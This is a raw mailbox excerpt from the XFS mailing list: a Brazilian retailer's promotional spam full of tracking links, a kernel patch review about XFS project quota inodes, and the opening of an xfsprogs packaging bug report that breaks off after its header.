1636-3263-644384-d5273fb18d1f6d817a6db2873c88afa3 X-DMA: 5227042 Message-ID: <0.1.1E.D04.1CE7809864CD880.7289@email.girafa.com.br> Date: Wed, 3 Jul 2013 13:22:38 -0300 X-Barracuda-Connect: email.girafa.com.br[187.61.29.201] X-Barracuda-Start-Time: 1372868555 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135701 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --db922723b4aa7566891f3bdc34418c88 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Institucional =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83983,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wM18wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wM18wN18xMyZ1dG1fd= GVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83984,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83985,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wM18wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT= 1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wM18wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83986,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW= 09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDNfMDdfM= TMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83987,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV= 9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83988,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83989,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJ= nV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83990,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wM18wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wM18wN18xMyZ1dG1fd= GVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83991,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NtYXJ0cGhvbmUtc29ueS14cGVyaWEtcHJldG8tYW5kcm9pZC00MS1kaXNwbGF5LT= QzLWJsdWV0b290aC13aS1maS04bXAuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lh= bF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83991,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NtYXJ0cGhvbmUtc29ueS14cGVyaWEtcHJldG8tYW5kcm9pZC00MS1kaXNwbGF5LT= QzLWJsdWV0b290aC13aS1maS04bXAuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lh= bF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83992,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG= 9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhb= F9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83996,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG= 1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhX= zAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83997,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= AzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1d= G1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzL= nNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83998,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTAzXzA3Xz= EzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2Ftc= GFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb= 20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83999,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTAzXzA3XzEzX2VzcG= VjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249Z= XNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,84000,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wM18wN18xM19lc3BlY2lhbF9kb19kaW= EmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX= 2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83993,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2= NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,84001,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJn= V0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90Z= XJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,84002,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2Nvbn= RlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,84003,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83994,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2= NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83982,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 05/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3263,644384,83995,d= 5273fb18d1f6d817a6db2873c88afa3,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDNfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbn= Q9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLn= NnaS5jb20=3D] --db922723b4aa7566891f3bdc34418c88 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D Institucional=0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D = =0D = =0D = =0D =0D = =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"04" 3D"05" 3D"06" = 3D"07" 3D"08" 3D"09"=0D = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    =3D"03" 3D"04" 3D"05" 3D"06" =3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"08" 3D"09" = 3D"10" 3D"11" 3D"12" 3D"13"
    =0D
    3D"14"
    =
    = Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 05/07/= 2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas. =
    *Consulte sua regi=E3o
    =0D =09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail especialdequarta@girafa.com= .br ao seu catálogo de endereços.

    A Girafa = respeita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --db922723b4aa7566891f3bdc34418c88-- From sekharan@us.ibm.com Wed Jul 3 12:14:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0E0FC7CBF for ; Wed, 3 Jul 2013 12:14:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 83C1AAC007 for ; Wed, 3 Jul 2013 10:14:08 -0700 (PDT) X-ASG-Debug-ID: 1372871646-04cbb0468fafc130001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id PXR3HbxbcrDe9awo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 10:14:07 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 3 Jul 2013 13:14:06 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 3 Jul 2013 13:14:03 -0400 Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id F2877C90026 for ; Wed, 3 Jul 2013 13:14:01 -0400 (EDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r63HE00g099178 for ; Wed, 3 Jul 2013 13:14:02 -0400 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r63HC9si004617 for ; Wed, 3 Jul 2013 11:12:10 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r63HC83B004542; Wed, 3 Jul 2013 11:12:09 -0600 Subject: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1372701567.9777.164.camel@chandra-dt.ibm.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-10-git-send-email-sekharan@us.ibm.com> <20130701020634.GE27780@dastard> <1372701567.9777.164.camel@chandra-dt.ibm.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 03 Jul 2013 12:12:07 -0500 Message-ID: <1372871528.9777.170.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13070317-5806-0000-0000-000021F64426 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1372871647 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi Dave, Any comments ? Thanks Chandra On Mon, 2013-07-01 at 12:59 -0500, Chandra Seetharaman wrote: > On Mon, 2013-07-01 at 12:06 +1000, Dave Chinner wrote: > > On Thu, Jun 27, 2013 at 05:25:12PM -0500, Chandra Seetharaman wrote: > > > Start using pquotino and define a macro to check if the > > > superblock has pquotino. > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > with no separate pquota inode. > > > > > > Signed-off-by: Chandra Seetharaman > > > > This is unchanged from the previous version, so all of my review > > comments from here: > > > > http://oss.sgi.com/pipermail/xfs/2013-June/027637.html > > > > are still unaddressed. > > See the other email I sent on this context. > > > > Also: > > > > > @@ -885,6 +905,18 @@ reread: > > > */ > > > xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); > > > > > > + if (!xfs_sb_version_has_pquota(&mp->m_sb) && (XFS_IS_PQUOTA_ON(mp))) { > > > + /* > > > + * On disk superblock only has sb_gquotino, and incore > > > + * superblock has both sb_gquotino and sb_pquotino. > > > + * But, only one them is supported at any point of time. > > > + * So, if PQUOTA is set in disk superblock, copy over > > > + * sb_gquotino to sb_pquotino. > > > + */ > > > + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; > > > + mp->m_sb.sb_gquotino = NULLFSINO; > > > + } > > > + > > > xfs_sb_quota_from_disk(&mp->m_sb); > > > > This code should be inside xfs_sb_quota_from_disk().... > > will move. > > > > Cheers, > > > > Dave. > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From lubomir.host@gmail.com Wed Jul 3 15:40:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 211527CBF for ; Wed, 3 Jul 2013 15:40:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0085A304084 for ; Wed, 3 Jul 2013 13:40:20 -0700 (PDT) X-ASG-Debug-ID: 1372884016-04cb6c2a4285f2f0001-NocioJ Received: from mail-wi0-f173.google.com (mail-wi0-f173.google.com [209.85.212.173]) by cuda.sgi.com with ESMTP id Xjizh3XQhOmevEG5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 03 Jul 2013 13:40:17 -0700 (PDT) X-Barracuda-Envelope-From: lubomir.host@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.173 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.173] Received: by mail-wi0-f173.google.com with SMTP id hq4so5658499wib.0 for ; Wed, 03 Jul 2013 13:40:16 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.173] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.173] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=eV0+LuJpdZFgECFWtvG5dKsMpihkRPLuBrDlaxZe4Sk=; b=zeKAmhwNP/o7bH9W1riTHjXYF9kcDmK6s6V3S9b61Sg+3gcgAZyUR3wk/Jcwmy0T6y nJf2Vd5ieUBwauoeUgwVyWCT4UsYnJYAm6RY6eb/aHQE1SjGt38S5Cm3nshtumvhkJib +hNUhPWKQKWw3BoBPZw/Ot/kPampP6Cc0FCMTzMMufGMZ/ThMNS+sRp3W/GEbIbZPWJy hybXCVTXmCQWAaLch0z9rkqc5l/5VRG5q2NII6lueriPjN0hnX4LNZPYnLx3VcXtTW45 mNmeznhGPoo4+VNghSRsaEPQMiO4LS6z4DKKksh4r9fUfUyU4zGS/aMbk6w4I17pNRdX BF4A== MIME-Version: 1.0 X-Received: by 10.180.183.40 with SMTP id ej8mr1571210wic.37.1372884016779; Wed, 03 Jul 2013 13:40:16 -0700 (PDT) Received: by 10.194.216.164 with HTTP; Wed, 3 Jul 2013 13:40:16 -0700 (PDT) Date: Wed, 3 Jul 2013 22:40:16 +0200 Message-ID: Subject: xfsprogs should provide hook script for initramfs-tools From: Lubomir Host X-ASG-Orig-Subj: xfsprogs should provide hook script for initramfs-tools To: XFS Development Team Content-Type: multipart/mixed; boundary=001a11c2297a235b4904e0a17815 X-Barracuda-Connect: mail-wi0-f173.google.com[209.85.212.173] X-Barracuda-Start-Time: 1372884017 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135717 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2297a235b4904e0a17815 Content-Type: multipart/alternative; boundary=001a11c2297a235b4404e0a17813 --001a11c2297a235b4404e0a17813 Content-Type: text/plain; charset=UTF-8 Package: xfsprogs Version: 3.1.9 Severity: minor 